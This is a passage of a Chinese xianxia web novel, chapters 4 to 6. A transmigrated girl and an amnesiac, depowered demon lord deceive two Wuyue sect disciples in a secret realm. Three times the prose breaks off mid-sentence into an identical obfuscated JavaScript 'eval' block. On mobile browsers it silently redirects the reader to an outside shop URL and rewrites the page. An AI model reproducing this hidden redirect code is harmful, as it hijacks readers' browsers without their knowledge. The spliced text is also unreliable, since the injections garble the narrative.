危慈起身,拍了拍身上的灰尘,狐疑看她一眼,随即漫不经心道:【本座不忍心看你如此难受,所以提前带你下来休息。】 滕岁没忍住笑,“魔尊大人,那我们何时重新启程,我已经休息够了。” 【你着什么急。本座还要在这秘境里取点东西。】 危慈背身过去,语气还是高傲的,但落进滕岁耳朵里,却少了些底气。 她也不拆穿他,继续装不懂道:“魔尊大人想找些什么东西呀,说出来,我也许能帮帮忙呀。” 危慈端不住气了,音调上扬道:【你?你不帮倒忙就行了,本座要的东西当然自己去找,无需假借他人。】 滕岁走过去缠住他,含胸偷笑,这人还是个死要面子的,她善解人意道:“好啦,我知道那药效过了。魔尊大人,快和我走吧,我们还要去巴蜀找解药呢。” 危慈被拆穿,避开她,恼道:【不用你说本座也知道。跟紧点,走丢了你就等着被妖兽咬死吧,本座可不会来救一个拖油瓶。】 说罢,他抬步就走,滕岁在后头扯住了他的衣角。 【又怎么了?】危慈道。 滕岁施法让瑶溪丝线化作一个手环,递给危慈,示意他戴上,“你身上的魔煞之气会暴露位置。戴上它,它不会伤害你的。” 危慈拍开她的手,脚步没停,冷声道:【多余。】 真是上辈子欠他的,非得她来硬的。 滕岁追上去,直接催动瑶溪,让它缩短箍在了他的手腕上。危慈扯着手环,瑶溪却越缩越紧。 转眼,二人又要爆发起争执。风忽止,不远处竟传来了一声呼喊,“喂,道友,要不要打一架呀。” 那二人一身淡绿色短打汗衫,腰间系着一条红色涤带,一人在前背着一柄弯月大刀,一人在后手握双锤。 目标明确,大摇大摆,直冲他们而来。 滕岁视力极佳,看清来人,心道一声不妙。 原著中宗门法衣如此,又是各种以冷兵器闻名的,便只有梁陆五大宗门之一的五岳观了。 狭路相逢勇者胜,她只是碰巧找到这花,不代表她是勇者呀。 4. 第 4 章 手握流星锤者便是方才出声之人,他领着身后的人快步走到滕岁脚下的那朵花跟前。头顶树叶碎影扫过周身,他们堪堪站定脚步,仰头张望眼前景象。 滕岁脚下所踏的是一朵硕大无朋的花,它的根茎粗长挺拔,是以花蕊悬在半空中。 阳光刺眼,那持流星锤者眯着眼睛打量片刻,惊讶道:“呀,原来是个姑娘。” 【是谁要来找打?】危慈语气不善,循着滕岁的视线往前看。 他正在气头上,本欲发泄在手腕上那根扯不断的破绳上的怒火,转移到那底下伫立的三人身上。 要不是瑶溪丝线压制了他的魔气,再加上他现在修为大减,否则光凭外溢的魔煞之气,都足够铲平这片小秘境。 滕岁赶忙拉着危慈,没想到这魔头比她二姨家养的狗还难缠,五岳观当年可是全员参战讨伐他,这三人说不定就亲眼见过陆清昱击败他的场面,认出他就完了啊! 她气喘吁吁道:“冷静冷静,他们是五岳观的人,极可能认得你。” 【认得我又如何?本座威名赫赫,三界何人不知本座名讳?正巧杀了他们,也好叫五岳观的人传出去,让三界都知道,本座又回来了。】 滕岁无语凝噎,这脑残还没意识到他们的处境有多危险。 《问仙》中人、妖、魔三族共处一界,大陆以朝代来命名,既称梁朝大陆。 而这片大陆上各宗门修仙世家多如牛毛,其中声名最盛,实力最强的莫不过五个宗门。 这五大宗门里,便有女主陆清昱所在、仙气缥缈的苍梧宗,和那三人隶属的、侠气凛然的五岳观。 若是其他不知名的小宗门,兴许还能靠魔尊的名头和滕岁半桶水的修为将他们吓跑。可偏生是这五岳观。 滕岁满身满脸写着三个字“打不过”。 为了不让危慈如此莽撞的冲出去,落得个他被打得半死,他们被抓回苍梧宗的结局,她压着火气,劝道:“魔尊大人,办正事要紧。要不这样,你往后站一站,先让我去会会他们?” 滕岁边说边给他捶肩捏背,一副狗腿子模样。危慈斜睨她一眼,眼神里装满了质疑:【你要杀了他们?】 “当然不。”滕岁嘿嘿一笑。 那二人已能下山游历,结伴来探此秘境,定是五岳宗内门级别的弟子。危慈如今是个病秧子,滕岁又是个空有名头的花瓶,冲上去等着被群殴啊。 她只想保住自己小命罢了。 危慈问:【那你要干什么?】 滕岁想回:“你问那么多做什么。我还能干啥,当然是滑跪认怂啊。” 虽然那二人似乎要和他们切磋一番,但五岳观好歹是个大宗门,且门风豪情侠义。只要他们没发现危慈的存在,她装个柔弱,再拍几句马屁,他们肯定会放过她的。 只是这危慈却比那五岳观的人还要难对付的多,直接与他说明情况,他绝对不会配合。 滕岁往里走了几步,到了可遮挡人的花蕊后面,探出个脑袋,故作玄虚地朝危慈勾勾手,“魔尊大人,借过一步说话。” 危慈半信半疑地靠过去,刚站定,滕岁便扬手结印,将危慈重新五花大绑了一番,保证他动弹不得。 【疯、女、人!你没完了是吧?你好大的胆子!真以为本座没有办法治你了是吗?快给我解开,你听到没!】 忽然危慈像是明白了什么,更为狠厉道:【本座知道了。你跟那帮人是一伙的,你是怕我坏了你跟他们的好事对不对!别以为这破绳子真能困住我,我告诉你,我非出去让他们见识见识本座的厉害不可!】 滕岁伸了个懒腰,毫不在乎危慈在她后面指桑骂槐,骂就骂呗,又不能少块肉,况且他倒是挣脱开一个给她看看啊。 大花上人影消失,只听得少女在小声地自言自语,过了会,那细碎的声音也没有了,站在花下的三位有志青年耳观鼻鼻观心,只剩风吹叶动的簌簌声。 半晌,底下又传来一句,声音更大了些,“姑娘,在下秦得之,我们是五岳宗浮山真人座下亲传弟子。” 闻言,滕岁走出来,站在花瓣边俯身认人。 那二人面相看着都很年轻。话中所说的秦得之身材魁梧,膀大腰圆,已将手中的流星锤收入了背箧,躬身对着空气抱拳行礼。 滕岁挥了挥手,殷切道:“得之兄你好呀。小女久仰五岳观大名,没承想今生有幸竟然在这里碰上了门内弟子。可以不可以给我签个名?” 秦得之被这滕岁这话说得不好意思,挠了挠头道:“这……太客气了,我不过是五岳观一介普通弟子,哪里谈得上签名这一说。” 【哼,虚伪。】危慈讽刺道。 滕岁自动忽略那不愉悦的声音,见站在秦得之后面的人没说话,顺道把他们两也一并夸了,“哪里哪里,我打远一看,光凭几位少侠的气度和身量,便知道如此英姿飒爽、侠风卓然的,一定是五岳观的人!” 后面那人也受不住夸,顿时脸热,不好意思看她。滕岁立马乘胜追击,话风一转,柔弱问道:“对了,少侠们方才说要和小女子约架是什么意思呀?” 提及正事,后面那人往前走几步,是个头戴飘绿头巾的青年,他拘谨出言道:“姑娘,我等急需这株七彩花一用,不知姑娘可愿依照秘境规矩切磋一局,胜者得此花。” 《问仙》中秘境设定里却是有这么一个不成文的规矩,若有人率先找到天材地宝,旁的人有意夺之,便可通过修为定胜负,胜者取宝,输者离场。 不过七彩花?滕岁心想,指的是她脚下这株花吗?这么说来,他们是为此花而来,目的不在她和危慈,她松了一口气。 秦得之道:“若姑娘不想比试,我们也可以以物换物。姑娘你尽管说,只要是我们有的都可以拿来跟姑娘换。” 滕岁又不稀罕这什么七彩花,刚准备说他们想要这花取走便是,脑中一阵嗡嗡响,危慈指使她道:【疯女人,换他的流星锤。】 他还真是狮子大张口啊,连一句客套话都听不出来。 【本座要他的锤子。】你要你就得到啊,滕岁吐槽。 那些修士不是最讲究什么本命武器了吗?这锤子闪着银光,质地非凡,明显是秦得之的本命武器,怎么可能真的给她。 危慈喋喋不休:【本座的折水剑不见了,如今少了个趁手的武器,他背上的流星锤看着不错。愣着干什么,你不是最擅长花言巧语哄骗别人了吗?去,跟他们要来。】 她偏不。 滕岁腹诽都快写在脸上了,有本事他就自己挣开绳子和他们抢去啊,在那里说风凉话算什么回事。 她打心底否定了这个想法,往回瞄了一眼危慈的藏身之处,安全且完美,绝不会暴露。 滕岁这才安心地朝秦得之摆摆手,亲切道:“换东西倒是不用了,但是我确实有一点忙需要各位少侠帮助。” 秦得之又一抱拳,郑重道:“多谢姑娘,有什么忙但说无妨。江湖儿女,讲究的就是一个义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136056|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,能帮上的,我们绝无二话。” 滕岁回道:“其实也不是什么大事,我在这秘境里迷路了,想问问出口在哪,该怎么走……” 话说了一半,只听“扑通”一声,貌似是什么重物摔到了地上。 一个被白丝线裹得极严实的男子在地上骨碌碌地打着滚,猛地撞到了一棵大树上,看着就痛。 这动静把秦得之二人唬得一愣,纷纷转头。秦得之从背箧里拽出流星锤,二人摆出戒备姿态。 滕岁心里一咯噔,那不是危慈吗?这样也能让他跑下去?!他到底是属狗的还是属泥鳅的。 完了完了,她本想着待危慈恢复实力,再与他结盟一起对抗女主,不料摊上的是个武力值目前为零,却有超高暴力倾向的疯子! 她真后悔救了危慈,神级猪队友就是他了吧! 秦得之嘀咕道:“这是个什么东西?怎么还滚着出来了?” 危慈啐了一口嘴里的泥灰,蹭着树干站起,得意地看了花上的滕岁一眼,眼角眉梢都扬着傲气。 【疯女人,看到没有,这破绳子根本捆不住本座。】 滕岁无心搭理危慈,攥紧裙摆,焦急看着与他对峙的三人的反应。 二人并未像滕岁所料想的那样质问,而是满脸疑惑。秦得之反倒热情地扶了危慈一把,“这位小兄弟,你这是被什么东西给绑住了?可是遇到了秘境里的某个妖怪?” 这是……什么意思?难道他们几个都将危慈的样貌都忘得一干二净了? 滕岁爬下七彩花,来到危慈身旁,困惑地看向他,前进的脚步蓦地一顿。 危慈的眉宇间不知从哪冒出来了一颗红痣,点缀在莹白的皮肤间,竟压下浑身的戾气,多添了几分陌离的神性。 再细细看去,何止只多了一颗痣? 他素来锐利具有攻击性的眉眼晕开几分青涩来,张扬的气焰不减反增,愈加鲜活。脸型俊朗明艳未改,只是原本冷硬的线条,柔和下来,透着一股子少年稚气。 说不清楚具体哪变了哪没变,只觉得危慈一瞬之间小了五六岁,那份任谁人都看不惯的轻狂倨傲,一下子化成了少年郎的恣意飒爽,令人挪不开眼。 滕岁惊奇十足,凑近看看,伸手在他脸前晃了晃,不是什么虚颜术,也没有换脸的符箓或者法器在身。 他到底是怎么做到的呢? 危慈侧目瞪了她一眼,在心中鄙夷道。 【别看了,你不是什么蓬莱圣女吗,怎么跟个土包子一样?本座可是魔族,魔物无形,能随意控制自己的容貌。】 滕岁眼睛一亮,这设定新鲜,原著中根本没有提到这部分! 《问仙》这本小说写的确实不错,就是有些局限,故事全程围绕陆清昱而展开,没有其他副线,只对于她有关的事物详细描述,其余的不重要的则一步带过,潦草至极。 即使是危慈这般,作为这本书里陆清昱的宿敌的人物,书中对他的描写也极为吝啬,更别提这种幕后的设定了。 滕岁想,既然能变化容貌,那岂不是可以拥有千容千面,那为何不干脆变成别人的样子? 越变越好看,越变越惹眼算怎么回事,逃命的时候就不能低调点吗?又不是靠脸吃饭。 危慈一眼看出她在想些什么,下巴微扬,藐视回看她。 【本座不屑用他人皮囊,丑。】 ……滕岁无语。 一旁的秦得之忍不住开口道:“二位,认识?” 5. 第 5 章 “认识认识。”滕岁大方承认。 既然秦得之他们看上去对危慈并无印象,那她也就无须再遮遮掩掩。 秦得之听了这话仍是一副百思不得其解的表情,指着她身旁的危慈道:“那姑娘为何要将这小兄弟绑起来?” 危慈见缝插针道:【疯女人,看你怎么解释。】 滕岁假笑几声,心道一声切,随即拉着秦得之和那青年到一旁,神神秘秘道:“这是我家中的小弟,小时得了高热,病好了后变成了哑巴,还患上了狂躁症。这不,方才又发病了,我无奈之下才绑着他的。” 那二人听后皆缓缓回头看了危慈一眼,正撞见他鬼气森森地站着一动不动,眼光炽热地盯着秦得之手中的武器。 秦得之握着流星锤的手更紧了些,这小兄弟其貌不扬,却不料有如此顽疾,况且这副样子莫不是伺机挣脱束缚,要抢他的锤子伤人? 他不由得担忧道:“姑娘,你弟弟他,是不是又要发病了。” 滕岁搂紧了左右二人,安抚他们道:“不怕不怕。有我在,不,有这绳子在,保管给他治得服服帖帖。” 危慈蹦着挪近几步,想听清这三人到底偷偷密谋些什么。看他们避人的架势,他越发肯定,自己方才所猜果然不错,他们定然是一伙的。 滕岁讲述了她独女抚养弟弟长大,如何艰辛的故事,卖了一波惨,赚足了那二人的眼泪,获取了信任。那二人当即应下她的要求,拍拍胸脯承诺必安全带他们出去秘境。 而后滕岁便放他们去采那七彩花,独自留在原地,依着衣袖抹抹泪,眼圈周围红红的,瞧着倒真有几分真。 危慈只听进后面的话七八分,见她眼圈泛红,心头那被强压下的躁意,像涟漪般轻轻漾开。 【装够没有?你除了卖惨还会做什么?居然编出一个莫须有的弟弟来,真是谎话连篇。】危慈的语气更冷上了几分。】 在现世这么多年,危慈体会到的情绪就那么几种,不是兴奋就是愤怒,两者都处在极端,没多大差别。可今日这种莫名其妙如羽毛轻轻拂过心涧的感情却是奇怪极了。 更令他捉摸不透的是,自遇到这个疯女人起,他就时常感受到这情感。 莫非,他已然讨厌她至这种程度,往日的情感都不足以表达那种厌恶? 滕岁一惊,她话都说得那么小声了,还是被危慈听到了。不过听这语气,看这反应,危慈应该没听完整,只听到了她后面胡编乱造的故事,不知道故事中蛮横的弟弟就是他自己。 滕岁把心放肚子里,吸吸鼻子,要是说是装,她那番话里多少也是动了情,她在现实世界是真有个弟弟,同母异父,刚刚五岁,可比危慈可爱善良多了。 她怕危慈回悟过来,扯开话题道:“你为什么不早说你有这本事?你要是早说,我就不用这么担惊受怕的了。” 危慈从她话里读出一股责怪味,便阴阳怪气地回道:【本座想做什么难道要和你禀告吗?你害怕?本座看你胆子倒是不小,事到如今了还在演戏。说吧,你和他们究竟想做些什么?】 若是要耍他,他不介意与他们同归于尽。 滕岁一头雾水,只觉得他语调古怪,“我当然是拜托他们带我们出秘境,好早日去到巴蜀,替你拿到解药啊。” 危慈阴恻恻道:【这么说你都是在替本座着想?】 滕岁不假思索道:“那是自然,我们现在可是一根绳上的蚂蚱。” 她当着苍梧宗上下弟子的面救出十恶不赦魔尊的事已经板上钉钉,不出意外,她会和危慈一起被悬赏通缉。她就是想和这个暴力狂解除绑定,怕是也不能了。 危慈见滕岁嘴上说着和他是一起的,身体却走到一边去,也不看他,反而专心踢石子去了。 想当年他三界何人听到他的名声不颤栗俯首?谁又敢这般怠慢他、无视他? 危慈火气蹭蹭往上窜,一声怒吼,惊得滕岁浑身一抖:【疯女人,你还要这样绑着本座多久?!】 滕岁不明白他为何突然气得像是快要变异了,不急不忙地走过去,抬手道:“魔尊大人,我们约法三章。第一,你不许乱跑乱走,只能跟着我;第二,不许出手打人,我叫你停你就得停;第三,瑶溪可以暂时不束缚你,但你必须将它戴在身上,以压制你的魔气。” “若是你都同意,我立马给你解开它。”她眼睫微微一眨,丝毫没有惊惧之色,貌似找到了对付危慈的诀窍。他现在就是一副空架子,打她她便拿这线绑住他,骂她她也不往耳朵里进,横竖拿她没招。 危慈气得牙根痒痒,若是等他恢复修为,和陆清昱比试的事大可以放一旁,当务之急是要先折磨这个疯女人,杀之而后快! 他的脸青白交加,最终像是被人扼住了喉咙般,从齿缝里挤出几个字:【姑且依你。】 话音将落,滕岁勾了勾唇角,本想着还要再与他辩驳几回,没想到答应得还算爽快。其实她早就想给危慈松绑了,从中州到巴蜀路途漫漫,她可不想背着一个蚕蛹走。 捆在危慈身上的丝线解开,危慈未将它戴在手腕上,而是将系带在指间绕了几圈,捧起一袭墨发束起。 不过瞬间,他便扎起了一个高挺的马尾。银白色的系带飘逸起来,拂过滕岁的鼻尖,惹得她忍不住打了个喷嚏。 “你竟然会扎头发?”危慈的手法熟练,不像是第一次扎,滕岁指尖摸了摸鼻尖,眼底藏不住的揶揄,“是谁教你的?” 春意正浓,阳光透过婆娑树影缓缓映在滕岁的眼睛里。那是一双大而水灵的圆眼,栗子色的眼瞳缀着明亮的光,似被溪水濯洗过般清澈,她正仰头望着危慈。 危慈被她眼里的光刺到,眉头皱起来,脑海又不可遏制地浮现那个他怎么也捕捉不住的身影,越是抓不住,他便越急躁。 他下意识说漏了嘴,【是……她教我的。】 滕岁没察觉出他的不对劲,继而追问道:“她,是谁?” 她是谁? 危慈难以回答这个问题,他的心里缺了很大一块,而关于“她”,只剩下了丝丝缕缕的回忆。 他罕见地露出了茫然的神情,不过那只是一瞬的卸防,很快,他别过脸,冷冰冰道:【她是本座的仇人。】 仇人?滕岁绞尽脑汁回想《问仙》里的剧情,几十万字中没有提到过危慈有什么除陆清昱以外的敌人啊?况且他说是那人能如此亲近地教他束发,想必以前关系还不错吧?怎么就到了反目成仇的地步? 滕岁还是有点眼力见的,她虽还想再问下去,对这部分隐藏剧情心里感兴趣得很,但危慈背过身不肯面对她,她便也就明白,问了也等于白问,危慈说不定还会骂她一顿,她又何必去找骂,待他心情好时,再去探探口风也不迟。 她走到危慈身旁,与他肩并肩,眼神落到那朵七彩花上。秦得之二人分工合作,一人砍掉花朵的根茎,一人将灵力注入芥子袋,使其扩大,直至将七彩花完全笼罩进袋子内。 七彩花收入袋子中,又变回正常的大小,秦得之将芥子袋扔进背箧,好不容易寻得这花,他自是难以言喻的喜悦。他正迈着轻快的步子走回来,就撞上危慈不善的眼神。 秦得之早留意到了,这姑娘口中得了狂躁症的弟弟,不盯他师弟,就逮着他不放。他实在想不通自己是哪里惹到了少年,也不知这瞧着才十六七岁的人,怎会有那么慑人的气势,竟让他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136057|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里发怵。 他总觉得,这少年周身仿佛冒着一团无形的黑气,看来那姑娘说得半点不假,这绝对是中了邪风啊。 滕岁小跑出去几步,热情迎接着秦得之,“秦大哥,怎么样,还有其他事情吗?咱们可以启程出秘境了么?” 又对他身旁的青年,眉眼弯弯道:“这位道友,我还不知道你的姓名呢,我们也认识一下吧。” 秦得之被她的热情所感染,将方才感受到的怪异抛开,连连摆手:“姑娘,没别的事了,咱们这就可以走了。” 说着,他扯着青年,笑着介绍道:“这是我师弟周意之,五岳观找不出第二个性子比他更腼腆的人,姑娘别介意。” 终于有了姓名的周意之朝滕岁抱拳一礼,声音低低的:“见过姑娘。” 方才滕岁没仔细看,这周意之长得比秦得之眉清目秀多了,还没说两句话,耳根便红了,活像个小姑娘。 滕岁惯喜欢逗人的,眉尾微挑,细声细气道:“叫我岁岁就好啦,既然我与大家要同行一段路,总这么客套地喊我姑娘,我可要介意了。” 她根本没来得及看到周意之的反应,背后忽然传来一句鬼似的、幽幽的低语。 【蛞噪。】 滕岁不用想便知道是谁坏了她的好事,转身往前一步,没料想危慈与她近乎贴身而站。她的鼻子遭了难,实实在在撞进了少年的胸膛,疼得她倒吸一口凉气。 【聊的如此投入,都没察觉到本座来了?】危慈半分没有退让,凉薄开口。 “你干嘛离我这么近。”滕岁鼻子一阵火辣辣的疼,危慈是块木头吗?见她要撞上了也不知道让一下,这么一撞,她怀疑自己的鼻骨都要碎了。 危慈被她这质问,气极反笑:【你以为是本座自己想的?不是你,哦不,岁、岁说要和我约法三章,某人走到哪,本座就要跟到哪的吗?】 转眼间这疯女人便她自己说的话忘得一干二净,只顾着和同伙笑闹,连演都不想对他演了? 滕岁噎住,自认理亏,揉揉鼻子,抿唇不再说话。 【疼吗?】危慈语气却又缓下来。 滕岁没答,心道这大魔头喜怒无常,肯定没安什么好心。 危慈伸手捏了一下滕岁的鼻子,力道不大,但对她现下脆弱不堪的鼻骨已然是重击,眼睛不受控地流出两滴泪。 【活该。】危慈眼神掠过她泛红的鼻尖,这点疼还是太轻了。 滕岁气得鼓起腮帮,要不是碍着还有旁人,还要维持自己爱弟弟的人设,她真想拔出周意之背上的大刀砍死危慈,将他捆成蚕蛹,吊在树上曝尸野外三天三夜! 她说服自己大人有大量,不与危慈这个小人计较,正欲与周意之再搭话,周遭的光影却暗下来。 天色说变就变,方才还晴朗无云、白日当头的天空像是墨水在宣纸上倾倒,夜色霎时铺天盖地地压下来。 秘境里的时间不似外面,开启时限并不固定,若时限一到,秘境便会关闭,没出去就要等到下次开启。如此异动必是秘境要关闭的前兆,四人不敢再多做停留,由秦得之领头,前往秘境的开启石碑处。 一路上危慈都对秦得之的流星锤虎视眈眈,滕岁不替他找秦得之讨要锤子,他便自己上手去抢。 她一个没看住,那流星锤就被危慈握在手中了。 秦得之动作迅猛,抓住的并非危慈,而是倒霉拦在他身后的滕岁。他惊疑道:“岁岁妹子,你们这是做什么?” 滕岁双臂被擒住,猛地一开肩,浑身筋骨酸爽,抢法器的是别人,受罪的为什么是她? 快把她放开,这回谁都拦不住她,她要拿刀砍死这个莽撞的死脑残! 6. 第 6 章 危慈跟什么都没发生一样,手腕轻翻,带着那流星锤旋了一圈,划出一道利落的水弧。 不得不说危慈的眼光还是不错的。 原著中虽没刻意描写过五岳观,但在 作者有话说部分,提到过五岳观的大部分弟子都是兵器与炼器双修,且并非莽夫只会弄武,而是极其擅长制造各种以冷兵器为原型的法器。 就连主角陆清昱在小说大半的章节内使用的本命剑契阔,也是从五岳观宗门内的器冢中所得的。 眼下这把流星锤上流转着暗蓝色的流光,还能驱动水元素,纵然滕岁对法器的优劣分别一窍不通,但仍看得出来它的品质不一般。 那也不至于发了疯地非得在这个节骨眼上抢别人的法器吧。 等危慈将刚到手的法器熟悉完后,他才注意到姿态窘迫的滕岁,明晃晃地笑了起来。 【看本座做什么?本座如今是个哑巴,不能开口解释。】 滕岁心里愤恨极了,此人可恶可厌可恨!真想锤爆他的头! 她意识到自己手臂还被秦得之钳制着,实在没办法过去揍危慈一顿,只好先跟那二人道个歉:“不好意思啊秦大哥,我弟弟他又发病了,拿你锤子玩呢。” 这说辞很牵强,滕岁说得也很干巴。 幸好秦得之也是个实打实的缺心眼,岁岁妹子都这么说了,哪还能骗他不成。 他当机立断道:“原来是这样,我还以为他是想抢我的法器呢。” 秦得之松开她手臂,抱拳对她愧疚道:“是我误解了,岁妹子,方才下手重了,对不住。” 他慷慨地撩开袖子展现出他的肱二头肌道:“你掐回来吧。” 滕岁活动了下手臂,被秦得之这么掰一下,身体就像被重新组装了,酸麻褪去后浑身反倒灵活不少。 她觉得秦得之这手法要是到现代世界去开个什么正骨疗养馆,一定前途无量,但赚钱估计是悬,他脑子一根筋,纯良到有些愚笨了。 滕岁意味深长地看着他,推开摆在她眼前的健硕肌肉,欣慰道:“这次我就原谅你了。下次不许了。” 眼见快要行至秘境石碑处,领头走在前列的周意之脚步缓慢了下来,温和道:“岁…岁姑娘,你也别怪秦师兄反应这般大。我们五岳观有条特殊的门规,法器一旦认主,且在江湖上闯出了名头的,那是断断不能被他人夺去的。” 咦?书里也没说过这茬。滕岁饶有兴致地问道:“周大哥,为什么会有这样的门规?” 秦得之抢先一步开口,愤愤不平道:“那是快十年前的旧事了,彼时宗门中有位前辈,在一次打斗中法器不慎被人夺走。那将法器占为己有的恶徒,心术不正,到处滥杀无辜。 那时候大伙儿还都不知道那恶徒是何名讳从何而来,却认得我五岳观所制的法器,以至于谣言四起,说那恶徒是从我们宗门出去的,还说我们宗门与他同流合污,害得五岳观的名声被败坏,掌门费尽力气才平息了谣言。” “所以你们掌门就立下了这条新门规,防止再发生这种祸事?”滕岁道。 “岁妹子就是聪明,”秦得之越说越激愤,声音越洪亮,“我们五岳观与那恶徒有不共戴天之仇!” 滕岁意犹未尽道:“那你们抓住那恶徒了吗?他是谁啊?” 周意之脚步停下,回头道:“抓住了。算算时辰,他应该早已被苍梧宗那个传说中的一代翘楚陆前辈就地诛杀了。” 今日、苍梧宗、陆前辈、诛杀?!这剧情有点耳熟啊,不会吧? 意识到事情不太对劲,滕岁忐忑道:“大哥们,你们口中说的那人不会就是…魔尊…危慈吧?” 秦得之狠拍一掌滕岁的肩膀,夸赞道:“没错!岁妹子,你咋回回都猜得这么准。今日大仇得报真是大快人心,掌门、长老还有我师傅他们指定都乐坏了!” 滕岁看着秦得之憨傻的样子,皮笑肉不笑道:“多乐乐吧。”有没有乐坏了她不知道,不过八成是急惨了。 还好,不幸中的万幸,危慈的身份没有暴露。就算干出这样逆天的蠢事,也只会被认为是狂躁症患者的基操。 “对了。岁妹子,我的锤子……”秦得之觑了觑危慈,他早就想把法器要回来了,但琢磨再三还是不知道该怎么跟个在发病的哑巴交流,只好拜托滕岁。 滕岁会意,缓步走到危慈身旁,心里再怎么骂,到了嘴边还是好声好气的,毕竟往后还是要结盟的。 她压声试探道:“刚刚他们说的,你都听到了吗?” 危慈知道她的来意,攥紧锤柄,言简意赅地丢出两个字,【不还。】 滕岁道:“魔尊大人,你十年前都抢过人家宗门的法器了,都说好马不吃回头草,抢东西哪能逮住一家薅,这要是传出去,多丢你魔尊的颜面呀。” 危慈像是听到了什么愚蠢的话,轻描淡写道:【杀了他们不好了。再说本座不都已经是三界笑柄了,还有颜面吗?】 滕岁头一次赞同了他的后半段话,驳回了那前半段话,他的脑回路是怎么构造的?非得打非得杀不可吗? 没办法了,滕岁照旧掐诀,使出那招百试百灵的杀手锏。 劝她也劝过了,安抚不了狂躁症弟弟动用一下强制性手段,也不算违反温柔姐姐人设。 危慈一看见滕岁要用那招,脸色就不好,主动扔掉了锤子,虽然是像扔垃圾似的扔掉的。 滕岁仰头看天,太阳打西边出来了?还真被她说动了?能通人性了? 危慈道:【这流星锤的元素含有其他杂质,不细看还算入眼,可跟本座根本不是一个档次的。】 他要寻找的是含有纯净水元素的神器。现下想要神器自然是不可能,勉强看到这个法器,仔细用了用,和他的折水剑差得简直不是一点半点,让人大失所望。 这疯女人也不禁逗,啧,真是不好玩。 若是以前有人敢这般约束他,早就被他大卸八块丢到阎王老头那里喂恶鬼了。 他的折水剑丢了,要是还在,不需动用魔气便能将这根破线斩断成两半。 他的剑去哪了?危慈止不住地想。 那难以摆脱的怪感又来了,像是某种本能,他想起了蒙着一层白雾看不清、挥不散的脸庞。 一个人偷了他的剑。 是“她”。 是“她”偷了他的剑。 “她”是个偷剑贼。 他笃定。 此念一生,危慈所有不明源头莫名产生的情绪,以及脑海中反复出现那人的身影的缘由,骤然都有了合理的解释。 可“她”又是谁? 他想不起来。 不过,危慈知道,他必须要找到“她”,夺回他的折水剑。 即使他完全想不起来“她”和自己到底有什么样的联系,他的剑又是怎么被夺走的。 滕岁的声音响在耳际,飘飘荡荡,由虚转实,“魔尊大人?” 怎么愣在原地,不动了? 秦得之已拾起流星锤,与周意之一齐站在不远的秘境石碑处。 那石碑看着和普通碑碣没什么区别,立在山林间,半人来高,斑驳碣身爬满了青苔,透着古朴的气息。 滕岁想危慈就这么舍不得那锤子,口头嫌弃实则丢了它连魂都丢了? 她怎么记得小说里危慈有一把神兵,名为折水来着,何必揪着一个破锤头不放。 她刚要出于人道主义开口关怀危慈,又想起之前在苍梧宗他与陆清昱交手时,使用的都是剑意,却没有使出剑的实体。 滕岁斟酌了下用词,道:“魔尊大人,没关系的。你的折水剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136058|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被封印在哪了?等拿到解你哑症的药,我陪你去找,好不好?” 既然危慈现在身上没有那把剑,想必是被正道们抓住后,将它以禁制封印了起来。 没有了神兵的危慈虽然也挺强的,但他们要面对的可不是什么正派小喽喽,而是有主角光环加持的陆清昱,还是手握神兵保险些。 危慈没有回应,站着,表情也没变一下,倒真像块木头。 滕岁的思绪飘飘散散,他这神态与被绑在问罪台石柱的模样别无二致,冷淡、冷漠到了深处,徒留一身的孤绝,竟无端生出了可怜。 她那时见到他的第一眼,在想什么呢? 她大抵是在惊叹,原来有人真的能伤成这样。 滕岁生出了点不该有的恻隐之心,刚想真诚安慰,还没开口,危慈周身的气场发生了变化。 看不见的气流涌动起来,那条银白色的发带剧烈翻飞,一切犹如平静的死水投入一枚石子,一瞬间水浪汹涌天翻地覆。 二人隔着不过五步之距,她清晰从危慈的眼神中感受到了前所未有的恨意与杀意。 滕岁隐隐害怕,心道:他不是个病秧子吗,这压迫感是怎么回事? 危慈扣住她的下巴,寒凉的指腹触到滕岁肌肤的瞬间,她浑身起鸡皮疙瘩,这人竟然连体温都没有么? 下一秒,危慈的视线在她的脸上游走,那眼神似毒蛇,无声吐着信子,他道:【本座的剑被一个十分狡诈无耻的贼偷了。】 这个世上还有比你更无耻的人?滕岁压下吐槽欲,配合地问道:“小偷?偷走了?” 【没错。】 危慈手上的力气加重,在她的皮肤留下两道红印,那架势似乎要将她的下巴捏碎。 他极为认真地在描摹她的眉眼,越贴近,声音就越沉,【本座看你有些像那偷剑的贼。】 危慈对于“她”,能够记住的只剩下那一双眼瞳。 